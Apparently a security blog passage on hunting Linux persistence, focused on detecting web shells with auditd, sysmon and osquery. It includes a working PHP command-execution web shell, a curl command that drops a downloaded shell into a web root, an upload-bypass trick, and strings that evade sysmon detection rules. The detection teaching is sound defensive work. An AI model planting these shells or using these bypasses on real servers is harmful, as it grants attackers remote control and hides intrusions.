<li>1 - Server Software Component: Web Shell</li>
</ul>
</li>
<li><a href="/security/2021/11/23/linux-threat-hunting-for-persistence-account-creation-manipulation/#introduction">Hunting for Persistence in Linux (Part 2): Account Creation and Manipulation</a>
<ul>
<li>2 - Create Account: Local Account</li>
<li>3 - Valid Accounts: Local Accounts</li>
<li>4 - Account Manipulation: SSH Authorized Keys</li>
</ul>
</li>
<li><a href="/security/2022/01/30/linux-threat-hunting-for-persistence-systemd-timers-cron/">Hunting for Persistence in Linux (Part 3): Systemd, Timers, and Cron</a>
<ul>
<li>5 - Create or Modify System Process: Systemd Service</li>
<li>6 - Scheduled Task/Job: Systemd Timers</li>
<li>7 - Scheduled Task/Job: Cron</li>
</ul>
</li>
<li><a href="/security/2022/02/06/linux-threat-hunting-for-persistence-initialization-scripts-and-shell-configuration/">Hunting for Persistence in Linux (Part 4): Initialization Scripts and Shell Configuration</a>
<ul>
<li>8 - Boot or Logon Initialization Scripts: RC Scripts</li>
<li>9 - Boot or Logon Initialization Scripts: init.d</li>
<li>10 - Boot or Logon Initialization Scripts: motd</li>
<li>11 - Event Triggered Execution: Unix Shell Configuration Modification</li>
</ul>
</li>
<li><a href="/security/2022/02/07/linux-threat-hunting-for-persistence-systemd-generators/">Hunting for Persistence in Linux (Part 5): Systemd Generators</a>
<ul>
<li>12 - Boot or Logon Initialization Scripts: systemd-generators</li>
</ul>
</li>
<li>(WIP) Hunting for Persistence in Linux (Part 6): Rootkits, Compromised Software, and Others
<ul>
<li>Modify Authentication Process: Pluggable Authentication Modules</li>
<li>Compromise Client Software Binary</li>
<li>Boot or Logon Autostart Execution: Kernel Modules and Extensions</li>
<li>Hijack Execution Flow: Dynamic Linker Hijacking</li>
</ul>
</li>
</ul>
<h3 id="introduction-to-persistence">Introduction to persistence</h3>
<blockquote>
<p>Persistence consists of techniques that adversaries use to keep access to systems across restarts, changed credentials, and other interruptions that could cut off their access <a href="https://attack.mitre.org/tactics/TA0003/">[1]</a></p>
</blockquote>
<p>Attackers employ persistence techniques so that exploitation phases do not need to be repeated. Remember, exploitation is just the first step for the attacker; they still need to take additional steps to fulfill their primary objective.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*LRcrv44EIiVqZ35pnBxmZw.png" alt="" /></p>
<p>After successfully gaining access to the machine, they need to pivot through the network and find a way to access and exfiltrate the crown jewels. </p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*0wxC57JISeSG-smadvc1eQ.png" alt="" /></p>
<p>During these post exploitation activities, the attacker’s connection to the machine can be severed, and to regain access, the attacker might need to repeat the exploitation step. </p>
<p>Redoing the exploitation might be difficult depending on the attacker vector:</p>
<ol>
<li><strong>Sending an email with a malicious attachment:</strong> The victim wouldn’t open the same maldoc twice. You’d have to send another email and hope the victim will fall for it again.</li>
<li><strong>Using leaked credentials and keys:</strong> The passwords might be reset or the keys are revoked</li>
<li><strong>Exploiting servers with critical CVEs:</strong> The server can be patched</li>
</ol>
<p><img src="https://cdn-images-1.medium.com/max/800/1*IrrpPyzrBA9E3EBQ5ecaGg.png" alt="" /></p>
<p>Because of how difficult the exploitation can be, an attacker would want to make the most out of their initial access. To do this, they install backdoor access that reliably maintains access to the compromised machine even after reboots. </p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*4qWkg11a6uCfMirnUnrxeQ.png" alt="" /></p>
<p>With persistence installed, the attacker no longer needs to rely on exploitation to regain access to the system. He might simply use the added account in the machine or wait for the reverse shell from an installed service.</p>
<h3 id="0-linux-logging-andauditing">0 Linux Logging and Auditing</h3>
<h4 id="01-file-integrity-monitoring">0.1 File Integrity Monitoring </h4>
<p>The configuration changes needed to setup persistence usually require the attacker to touch the machine’s disk such as creating or modifying a file. This gives us an opportunity to catch the adversaries if we are able to lookout for file creation or modification related to special files of directories. For example, if we are trying to detect installation of services, we might want look for newly added service files in <code class="language-plaintext highlighter-rouge">/etc/systemd/system</code> and other related directories.</p>
<p>You can use the following:</p>
<ul>
<li>Auditbeat’s File Integrity Monitoring: <a href="https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-file_integrity.html">https://www.elastic.co/guide/en/beats/auditbeat/current/auditbeat-module-file_integrity.html</a></li>
<li><a href="https://www.redhat.com/sysadmin/configure-linux-auditing-auditd">auditd</a></li>
<li>Wazuh’s File Integrity Monitoring: <a href="https://documentation.wazuh.com/current/learning-wazuh/detect-fs-changes.html">https://documentation.wazuh.com/current/learning-wazuh/detect-fs-changes.html</a></li>
</ul>
<p><img src="https://cdn-images-1.medium.com/max/800/1*G9cEhmxGM0nJVRhGqxiuyw.png" alt="" /></p>
<p>For the blog posts, we will be using mainly auditd, and auditbeats jointly. For instructions how to setup auditd and auditbeats see <em>A02 in the appendix.</em></p>
<h4 id="02-auditd-andsysmon">0.2 Auditd and Sysmon</h4>
<h5 id="021-what-is-sysmon-and-auditd">0.2.1 What is sysmon and auditd?</h5>
<p>Two powerful tools to monitor the different processes in the OS are:</p>
<ul>
<li>auditd: the defacto auditing and logging tool for Linux</li>
<li><a href="https://github.com/Sysinternals/SysmonForLinux">sysmon</a>: previously a tool exclusively for windows, a Linux port has recently been released</li>
</ul>
<p>Each of these tools requires you to configure rules for it to generate meaningful logs and alerts. We will use the following for auditd and sysmon respectively:</p>
<ul>
<li><a href="https://github.com/Neo23x0/auditd">https://github.com/Neo23x0/auditd</a></li>
<li><a href="https://github.com/microsoft/MSTIC-Sysmon/tree/main/linux">https://github.com/microsoft/MSTIC-Sysmon/tree/main/linux</a></li>
</ul>
<p>For instructions on how to install sysmon refer to <em>appendix A01.</em></p>
<h5 id="022-comparison-of-sysmon-and-auditd">0.2.2 Comparison of sysmon and auditd</h5>
<p>At the time of writing this blog post, sysmon for linux has only been released for about a month now. I have no experience deploying sysmon at scale. Support for sysmon for linux is still in development for agents such as Linux Elastic Agent <a href="https://github.com/elastic/integrations/issues/1930">see issue here</a></p>
<p>I’m using <code class="language-plaintext highlighter-rouge">sysmonforlinux/buster,now 1.0.0</code></p>
<p>While doing the research for this blogpost, my comments so far are:</p>
<ul>
<li><strong>sysmon’s rule definitions are much more flexible and expressive than auditd’s</strong></li>
<li>Just like other rules using string matching, rules depending on user input fields such as <code class="language-plaintext highlighter-rouge">CommandLine</code> can be bypassed.</li>
<li><strong>File integrity monitoring is a weakness for SysmonForLinux 1.0.0.</strong> In my testing, sysmon only has the event FileCreate which is triggered only when creating or overwriting files. This means that file modification is not caught by Sysmon (such as appending to files).</li>
<li>I’ve experienced some problems with the truncated rule title displayed in the logs.</li>
<li>Auditd rules can filter up to the syscall level and sysmon filters based on high level predefined events such as <code class="language-plaintext highlighter-rouge">ProcessCreation</code>, and <code class="language-plaintext highlighter-rouge">FileCreate</code>. This means that if a particular activity that you are looking for is not mapped to a sysmon event, then you might have a hard time using sysmon to watch for it.</li>
</ul>
<p><strong>Overall, I’m very optimistic about adopting sysmon for linux in the future to look for interesting processes and connections but would still rely on other tools for file integrity monitoring such as auditd or auditbeats.</strong></p>
<p>In windows, having only <code class="language-plaintext highlighter-rouge">FileCreate</code> is okay since you have other events specific to configuration changes, such as <code class="language-plaintext highlighter-rouge">RegistryEvent</code> for registry keys, but in Linux since all of the configurations are essentially files, then file integrity monitoring plays a much bigger role in hunting for changes in system configurations.</p>
<p>The good thing with sysmon, is that rules for network activities and process creation are much more expressive. It’s more intuitive than trying to use auditd’s <code class="language-plaintext highlighter-rouge">a0</code>, <code class="language-plaintext highlighter-rouge">a1</code>, … for match on command line arguments.</p>
<p>We will discuss some of the findings in the next blog posts but some examples of bypasses are:</p>
<ul>
<li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/discovery/T1087.001_LocalAccount_Commands.xml">T1087.001_LocalAccount_Commands.xml</a> looks for commands that have <code class="language-plaintext highlighter-rouge">/etc/passwd</code> to detect account enumeration. We can use <code class="language-plaintext highlighter-rouge">cat /etc//passwd</code> to bypass this rule</li>
<li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/defense_evasion/T1070.006_Timestomp_Touch.xml">T1070.006_Timestomp_Touch.xml</a> looks for <code class="language-plaintext highlighter-rouge">-r</code> or <code class="language-plaintext highlighter-rouge">--reference</code> in <code class="language-plaintext highlighter-rouge">touch</code> commands to look for timestamp modification. We can use <code class="language-plaintext highlighter-rouge">touch a -\r b</code> to bypass this or even <code class="language-plaintext highlighter-rouge">touch a -\-re\ference=b</code></li>
<li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1053.003_Cron_Activity.xml">T1053.003_Cron_Activity.xml</a> aims to monitor changes to crontab files. Using <code class="language-plaintext highlighter-rouge">echo "* * * * * root touch /root/test" >> /etc/crontab</code> will bypass this because it does not create or overwrite a file, and in <code class="language-plaintext highlighter-rouge">Debian 10</code> using the standard <code class="language-plaintext highlighter-rouge">crontab -e</code> will not trigger this because the <code class="language-plaintext highlighter-rouge">TargetFilename</code> is <code class="language-plaintext highlighter-rouge">+/var/spool/cron/crontabs</code> and the extra <code class="language-plaintext highlighter-rouge">+</code> at the start causes the rule to fail.</li>
</ul>
<p>You can see the different architectures for auditd and sysmon here:</p>
<ul>
<li><a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing">Redhat CHAPTER 7. SYSTEM AUDITING</a> [3]</li>
<li><a href="https://linuxsecurity.com/features/lead-microsoft-engineer-kevin-sheldrake-brings-sysmon-to-linux">Lead Microsoft Engineer Kevin Sheldrake Brings Sysmon to Linux</a> [2]</li>
</ul>
<p>We see from the diagram from <code class="language-plaintext highlighter-rouge">linuxsecurity.com</code> that Sysmon works on top of eBPF which is an interface for syscalls of the linux kernel. This serves as an abstraction when we define sysmon rules, but as a consequence, this flexibility gives attackers room to bypass some of the rules.</p>
<p><img src="/assets/posts/20211122/00_sysmon_linux.png" alt="Image from "Lead Microsoft Engineer Kevin Sheldrake Brings Sysmon to Linux"" />
<em>Image from “Lead Microsoft Engineer Kevin Sheldrake Brings Sysmon to Linux”[2]</em></p>
<p>For example, in sysmon, we can look for a FileCreate event with a specific <code class="language-plaintext highlighter-rouge">TargetFilename</code>. This is more flexible because you can define rules based on patterns or keywords and look for files that don’t exist yet. However, string matches such as <code class="language-plaintext highlighter-rouge">/etc/passwd</code> can fail if the target name is not exactly that string.</p>
<p>On the other hand, auditd watches for actions on the inodes of the files and directories. This means that there is no ambiguity on which specific files need to be monitored. You can even look for read access to specific files. However, because it watches based on inodes, the files have to exist when the auditd service is started. This means you cannot watch files based on certain patterns like <code class="language-plaintext highlighter-rouge">*/.ssh/authorized_keys</code></p>
<h4 id="03-osquery">0.3 osquery</h4>
<p>Osquery allows us to investigate our endpoints using SQL queries. This simplifies the task of investigating and collecting evidence.</p>
<p>Moreover, when paired with a management interface like <a href="https://github.com/fleetdm/fleet">fleetdm</a> allows you to take baselines of your environments and even hunt for adversaries.</p>
<p>An example from a future blog post is looking for accounts that have a password set. If you expect your engineers to always SSH via public key, then you should not see active passwords.</p>
<p>We can get this information using this query</p>
<div class="language-sql highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">SELECT</span> <span class="n">password_status</span><span class="p">,</span> <span class="n">username</span><span class="p">,</span> <span class="n">last_change</span>
<span class="k">FROM</span> <span class="n">shadow</span>
<span class="k">WHERE</span> <span class="n">password_status</span> <span class="o">=</span> <span class="s1">'active'</span><span class="p">;</span>
</code></pre></div></div>
<p>And get results for all your fleet something similar to this</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>+-----------------+----------+-------------+
| password_status | username | last_change |
+-----------------+----------+-------------+
| active | www-data | 18953 |
+-----------------+----------+-------------+
</code></pre></div></div>
<p>Now why does <code class="language-plaintext highlighter-rouge">www-data</code> have a password? Hmm…</p>
<p>Installation instructions can be found in the <a href="https://osquery.io/downloads/official/5.0.1">official docs</a></p>
<p>Once installed simply run <code class="language-plaintext highlighter-rouge">osqueryi</code> and run the SQL queries.</p>
<h3 id="1-server-software-component-webshell">1 Server Software Component: Web Shell</h3>
<h4 id="11-introduction-to-webshells">1.1 Introduction to web shells</h4>
<p><strong>MITRE</strong>: <a href="https://attack.mitre.org/techniques/T1505/003/">https://attack.mitre.org/techniques/T1505/003/</a></p>
<p>A web shell is a backdoor installed in a web server by an attacker. Once installed, it becomes the initial foothold of the attacker, and if it’s never detected, then it becomes an easy persistent backdoor.</p>
<p>In our example, to install a web shell we add a bad <code class="language-plaintext highlighter-rouge">.php</code> file inside<code class="language-plaintext highlighter-rouge">/var/www/html</code> Some reasons this can happen are:</p>
<ul>
<li>the web application has a vulnerable upload API</li>
<li>the web application has a critical RCE vulnerability</li>
<li>the attacker has existing access that can modify the contents of the web root folder</li>
</ul>
<p>If the attacker can upload malicious files that run as php, then he can get remote access to the machine.</p>
<p>One famous example of this is the <a href="https://republicans-oversight.house.gov/wp-content/uploads/2018/12/Equifax-Report.pdf">2017 Equifax Data Breach</a>. You can read the report, but here’s my TLDR: </p>
<blockquote>
<p>The web server was running Apache Struts containing a critical RCE vulnerability. Attackers used this RCE to drop web shells which they used to gain access to sensitive data and exfiltrate the data. Around 30 different web shells were used in the breach.</p>
</blockquote>
<p>See the following resources:</p>
<ul>
<li><a href="https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload">https://owasp.org/www-community/vulnerabilities/Unrestricted_File_Upload</a></li>
<li><a href="https://portswigger.net/web-security/os-command-injection">https://portswigger.net/web-security/os-command-injection</a></li>
</ul>
<h4 id="12-installing-your-own-webshells">1.2 Installing your own web shells</h4>
<p><em>Note: If you want to try this out you can follow the setup instructions in the appendix A00.</em></p>
<p>Assuming we already have RCE, we add a file <code class="language-plaintext highlighter-rouge">phpinfo.php</code> that will contain our web shell.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>vi /var/www/html/phpinfo.php
</code></pre></div></div>
<p>Choose any of the <a href="https://github.com/JohnTroony/php-webshells/tree/master/Collection">examples php web shells</a>. For example:</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><html></span>
<span class="nt"><body></span>
<span class="nt"><form</span> <span class="na">method=</span><span class="s">"GET"</span> <span class="na">name=</span><span class="s">"<?php echo basename($_SERVER['PHP_SELF']); ?>"</span><span class="nt">></span>
<span class="nt"><input</span> <span class="na">type=</span><span class="s">"TEXT"</span> <span class="na">name=</span><span class="s">"cmd"</span> <span class="na">id=</span><span class="s">"cmd"</span> <span class="na">size=</span><span class="s">"80"</span><span class="nt">></span>
<span class="nt"><input</span> <span class="na">type=</span><span class="s">"SUBMIT"</span> <span class="na">value=</span><span class="s">"Execute"</span><span class="nt">></span>
<span class="nt"></form></span>
<span class="nt"><pre></span>
<span class="cp"><?php
if(isset($_GET['cmd']))
{
system($_GET['cmd']);
}
?></span>
<span class="nt"></pre></span>
</code></pre></div></div>
<p>Now anyone with access to <code class="language-plaintext highlighter-rouge">http://x.x.x.x/phpinfo.php</code> would be able to access the web shell and run arbitrary commands.</p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*IFtn1HJNUAwxFMR26-J-_g.png" alt="" /></p>
<p>What if you don’t have shell access? You might be able to install a web shell through an unrestricted upload. Upload your php backdoor as <code class="language-plaintext highlighter-rouge">image.png.php</code> and the backdoor might be accessible on <code class="language-plaintext highlighter-rouge">http://x.x.x.x/uploads/image.png.php</code>.</p>
<p>Another possible command that you can use is</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php <span class="nt">-o</span> /var/www/html/backdoor_shell.php
</code></pre></div></div>
<h4 id="13-detection-creation-or-modification-of-phpfiles">1.3 Detection: Creation or modification of php files</h4>
<p><strong>Using auditbeat’s file integrity monitoring</strong></p>
<p>For some web applications, we might be able to monitor the directories of our web app in auditbeat’s file integrity monitoring.</p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">file_integrity</span>
<span class="na">paths</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">/bin</span>
<span class="pi">-</span> <span class="s">/usr/bin</span>
<span class="pi">-</span> <span class="s">/sbin</span>
<span class="pi">-</span> <span class="s">/usr/sbin</span>
<span class="pi">-</span> <span class="s">/etc</span>
<span class="pi">-</span> <span class="s">/var/www/html</span> <span class="c1"># <--- Add </span>
<span class="pi">-</span> <span class="na">module</span><span class="pi">:</span> <span class="s">system</span>
<span class="na">datasets</span><span class="pi">:</span>
<span class="pi">-</span> <span class="s">package</span> <span class="c1"># Installed, updated, and removed packages</span>
</code></pre></div></div>
<p>When using _auditbeat’_s file integrity monitoring module, we see that looking at <code class="language-plaintext highlighter-rouge">event.module: file_integrity</code></p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*H8QHiqUQ2Mn1C8tbG4Wbyw.png" alt="" /></p>
<p>Our <code class="language-plaintext highlighter-rouge">vi</code> command “moved” the file. In this case, <code class="language-plaintext highlighter-rouge">moved</code> is the same as <code class="language-plaintext highlighter-rouge">updated</code> because of how <code class="language-plaintext highlighter-rouge">vi</code> works. Where it creates a temporary file <code class="language-plaintext highlighter-rouge">/var/www/html/phpinfo.php.swp</code>and if you want to save the file it replaces <code class="language-plaintext highlighter-rouge">/var/www/html/phpinfo.php</code> </p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*JQcidyk6Z0SSmx4TOR_5DQ.png" alt="" /></p>
<p>An example of a command that will result in a <code class="language-plaintext highlighter-rouge">created</code> log would be if we ran</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>curl https://raw.githubusercontent.com/JohnTroony/php-webshells/master/Collection/PHP_Shell.php <span class="nt">-o</span> /var/www/html/backdoor_shell.php
</code></pre></div></div>
<p><img src="https://cdn-images-1.medium.com/max/800/1*MhcgZ5nRksISWGl9fiapJw.png" alt="" /></p>
<p><strong>Using audit to monitor changes</strong></p>
<p>We can add the following rule to auditd </p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /var/www/html -p wa -k www_changes
</code></pre></div></div>
<p>And you can search for all write or updates to files in <code class="language-plaintext highlighter-rouge">/var/www/html</code> using the filter <code class="language-plaintext highlighter-rouge">tags: www_changes</code> or <code class="language-plaintext highlighter-rouge">key="www_changes"</code></p>
<p>The raw <em>auditd</em> logs looks like this</p>
<pre class="highlight"><code>type=SYSCALL msg=audit(1637597150.454:10650): arch=c000003e syscall=257 success=yes exit=4 a0=ffffff9c a1=556e6969fbc0 a2=241 a3=1b6 items=2 ppid=12962 pid=13086 <u><b>auid=1000 uid=0 gid=0 euid=0</b></u> suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=11 <u><b>comm="curl" exe="/usr/bin/curl"</b></u> subj==unconfined <u><b>key="www_changes"</b></u>, type=PATH msg=audit(1637597150.454:10650): item=0 <u><b>name="/var/www/html"</b></u> inode=526638 dev=08:01 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637597150.454:10650): item=1 <u><b>name="backdoor_shell.php"</b></u> inode=527243 dev=08:01 mode=0100644 ouid=0 ogid=0 rdev=00:00 <u><b>nametype=CREATE</b></u> cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637597150.454:10650): <u><b>proctitle=6375726C0068747470733A2F2F7261772E67697468756275736572636F6E74656E742E636F6D2F4A6F686E54726F6F6E792F7068702D7765627368656C6C732F6D61737465722F436F6C6C656374696F6E2F5048505F5368656C6C2E706870002D6F006261636B646F6F725F7368656C6C2E706870</b></u>
</code></pre>
<p>This allows us to note:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">euid=0</code> effective UID of the action</li>
<li><code class="language-plaintext highlighter-rouge">exe="/usr/bin/curl”</code> the command that was run</li>
<li><code class="language-plaintext highlighter-rouge">name="/var/www/html" ... name="backdoor_shell.php"</code> the output file</li>
<li><code class="language-plaintext highlighter-rouge">key="www_changes"</code> the key of the auditd alert that was fired</li>
<li><code class="language-plaintext highlighter-rouge">proctitle=63757...</code> is the hex encoded title of the process which is our original curl command </li>
</ul>
<p><strong>Notes on file integrity monitoring for detecting web shells</strong></p>
<p>There are other ways to check. For example, if there is version control (like git), you can compare the current state with a known good state and investigate the differences. </p>
<p>However, if there are folders where we expect specific files to be written and modified often, such as upload directories, then file integrity monitoring might not be fully effective. We might have to fine-tune this alert and try to exclude these upload directories to reduce noise, but how would you detect web shells uploaded within the upload directory! </p>
<p>We need to look for more effective means of detecting web shells.</p>
<h4 id="14-detection-looking-for-command-execution-for-www-data-usingauditd">1.4 Detection: Looking for command execution for www-data using auditd</h4>
<p>When we run webservers such as <code class="language-plaintext highlighter-rouge">nginx</code> the service will run under the user <code class="language-plaintext highlighter-rouge">www-data</code> . On regular operations, we should not expect to see that user running commands such as <code class="language-plaintext highlighter-rouge">whoami</code> or <code class="language-plaintext highlighter-rouge">ls</code> </p>
<p>However, if there was a web shell, these are some of the commands we are most likely going to see. Therefore, we should try to use <code class="language-plaintext highlighter-rouge">auditd</code> to detect these.</p>
<p>Here is an auditd rule that will look for <code class="language-plaintext highlighter-rouge">execve</code> syscalls by <code class="language-plaintext highlighter-rouge">www-data</code> (euid=33) and we tag this as <code class="language-plaintext highlighter-rouge">detect_execve_www</code> </p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-a always,exit -F arch=b64 -F euid=33 -S execve -k detect_execve_www
-a always,exit -F arch=b32 -F euid=33 -S execve -k detect_execve_www
</code></pre></div></div>
<p>We run the following commands on our webshell</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>whoami
id
pwd
ls -alh
</code></pre></div></div>
<p>We get the following logs from <code class="language-plaintext highlighter-rouge">auditd</code> as parsed by auditbeats. </p>
<p><img src="https://cdn-images-1.medium.com/max/800/1*7RpLm9mtUADm1GoFGf8UNA.png" alt="" /></p>
<p>Here is an example of a raw auditd log for <code class="language-plaintext highlighter-rouge">whoami</code> </p>
<pre class="highlight"><code>type=SYSCALL msg=audit(1637597946.536:10913): arch=c000003e syscall=59 success=yes exit=0 a0=7fb62eb89519 a1=7ffd0906fa70 a2=555f6f1d7f50 a3=1 items=2 ppid=7182 pid=13281 auid=4294967295 <u><b>uid=33 gid=33 euid=33</b></u> suid=33 fsuid=33 egid=33 sgid=33 fsgid=33 tty=(none) ses=4294967295 <u><b>comm="sh" exe="/usr/bin/dash"</b></u> subj==unconfined <u><b>key="detect_execve_www"</b></u>, type=EXECVE msg=audit(1637597946.536:10913): <u><b>argc=3 a0="sh" a1="-c" a2="whoami"</b></u>, type=PATH msg=audit(1637597946.536:10913): item=0 name="/bin/sh" inode=709 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PATH msg=audit(1637597946.536:10913): item=1 name="/lib64/ld-linux-x86-64.so.2" inode=1449 dev=08:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0, type=PROCTITLE msg=audit(1637597946.536:10913): proctitle=7368002D630077686F616D69Appendix
</code></pre>
<p>This allows us to note:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">euid=33, uid=33</code> which is <code class="language-plaintext highlighter-rouge">www-data</code> </li>
<li><code class="language-plaintext highlighter-rouge">comm="sh" exe="/usr/bin/dash”</code> the shell </li>
<li><code class="language-plaintext highlighter-rouge">argsc=3 a0="sh" a1="-c" a2="whoami"</code> the commands run on the shell</li>
<li><code class="language-plaintext highlighter-rouge">key="detect_execve_www"</code> the key of the auditd alert that was fired</li>
</ul>
<p><strong>Note regarding detect_execve_www</strong></p>
<p>Let’s say you decide to use the default rules found in <a href="https://github.com/Neo23x0/auditd/blob/master/audit.rules">https://github.com/Neo23x0/auditd/blob/master/audit.rules</a></p>
<p>If you try to use ready-made detection rules such as those that come with <code class="language-plaintext highlighter-rouge">sigma</code> then you might try to use <a href="https://github.com/SigmaHQ/sigma/blob/master/rules/linux/auditd/lnx_auditd_web_rce.yml">lnx_auditd_web_rce.yml</a>. If you use this query using the rules from <em>Neo23x0</em> then <strong>you will fail to detect any web shells.</strong></p>
<p>This is because the detection rule is </p>
<div class="language-yaml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="na">detection</span><span class="pi">:</span>
<span class="na">selection</span><span class="pi">:</span>
<span class="na">type</span><span class="pi">:</span> <span class="s1">'</span><span class="s">SYSCALL'</span>
<span class="na">syscall</span><span class="pi">:</span> <span class="s1">'</span><span class="s">execve'</span>
<span class="na">key</span><span class="pi">:</span> <span class="s1">'</span><span class="s">detect_execve_www'</span>
<span class="na">condition</span><span class="pi">:</span> <span class="s">selection</span>
</code></pre></div></div>
<p>Notice that this filters for the key <code class="language-plaintext highlighter-rouge">detect_execve_www</code> but this exact key is not defined anywhere in Neo23x0’s <code class="language-plaintext highlighter-rouge">audit.rules</code> ! This is why you should always test your configurations and see if it detects the known bad.</p>
<p>In the Neo23x0’s rules, the closest thing you might get are commented out by default</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>## Suspicious shells
#-w /bin/ash -p x -k susp_shell
#-w /bin/bash -p x -k susp_shell
#-w /bin/csh -p x -k susp_shell
#-w /bin/dash -p x -k susp_shell
#-w /bin/busybox -p x -k susp_shell
#-w /bin/ksh -p x -k susp_shell
#-w /bin/fish -p x -k susp_shell
#-w /bin/tcsh -p x -k susp_shell
#-w /bin/tclsh -p x -k susp_shell
#-w /bin/zsh -p x -k susp_shell
</code></pre></div></div>
<p>In this case, our web shell used <code class="language-plaintext highlighter-rouge">/bin/dash</code> because it is the default shell used by <code class="language-plaintext highlighter-rouge">/bin/sh</code>in the current VM I tested this on. So the relevant rule would be</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-w /bin/dash -p x -k susp_shell
</code></pre></div></div>
<p>But this relies on the usage of <code class="language-plaintext highlighter-rouge">/bin/dash</code> buit if the web shell is able to use other shells, then this specific alert will fail. Test your auditd rules on specific scenarios to ensure that it works as expected.</p>
<p>For more information on how to write rules for auditd see:</p>
<ul>
<li><a href="https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-defining_audit_rules_and_controls">https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/7/html/security_guide/sec-defining_audit_rules_and_controls</a></li>
<li><a href="https://www.redhat.com/sysadmin/configure-linux-auditing-auditd">https://www.redhat.com/sysadmin/configure-linux-auditing-auditd</a></li>
</ul>
<h4 id="15-detection-looking-for-command-execution-for-www-data-usingsysmon">1.5 Detection: Looking for command execution for www-data using sysmon</h4>
<p><a href="https://github.com/microsoft/MSTIC-Sysmon">MSTIC-Sysmon</a> has two rules for this found individually:</p>
<ul>
<li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/main/linux/configs/attack-based/persistence/T1505.003_WebShell_SuspSubProcesses.xml">T1505.003</a></li>
<li><a href="https://github.com/microsoft/MSTIC-Sysmon/blob/75e131c07a3dc96ccddbeffa8c1d91e0759d4b25/linux/configs/attack-based/execution/T1059.004_UnixShell_CommonShells.xml">T1059.004</a></li>
</ul>
<p>Where we can see:</p>
<ul>
<li>Process creation using /bin/bash, /bin/dash, or/bin/sh</li>
<li>Process creation with the parent process dash or nginx or … containing and the current command is one of <code class="language-plaintext highlighter-rouge">whoami</code> , <code class="language-plaintext highlighter-rouge">ifconfig</code> , <code class="language-plaintext highlighter-rouge">/usr/bin/ip</code> , etc.</li>
</ul>
<p>If we run <code class="language-plaintext highlighter-rouge">whoami</code> in the setup we have, the first rule that will be triggered would <strong><em>T1059.004,TechniqueName=Command and Scripting Interpreter: Unix Shell</em></strong> because of the order of the rules.</p>
<div class="language-xml highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><Event></span>
<span class="nt"><System></span>
<span class="nt"><Provider</span> <span class="na">Name=</span><span class="s">"Linux-Sysmon"</span> <span class="na">Guid=</span><span class="s">"{ff032593-a8d3-4f13-b0d6-01fc615a0f97}"</span><span class="nt">/></span>
<span class="nt"><EventID></span>1<span class="nt"></EventID></span>
<span class="nt"><Version></span>5<span class="nt"></Version></span>
<span class="nt"><Channel></span>Linux-Sysmon/Operational<span class="nt"></Channel></span>
<span class="nt"><Computer></span>sysmon-test<span class="nt"></Computer></span>
<span class="nt"><Security</span> <span class="na">UserId=</span><span class="s">"0"</span><span class="nt">/></span>
<span class="nt"></System></span>
<span class="nt"><EventData></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"RuleName"</span><span class="nt">></span>TechniqueID=T1059.004,TechniqueName=Command and Scriptin<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">></span>2021-11-23 14:06:07.116<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">></span>{717481a5-f54f-619c-2d4e-bd5574550000}<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">></span>11662<span class="nt"></Data></span>
<span class="nt"><Data</span> <span class="na">Name=</span><span class="s">"Image"</span><span class="nt">></span>/usr/bin/dash<span class="nt"></Data></span>
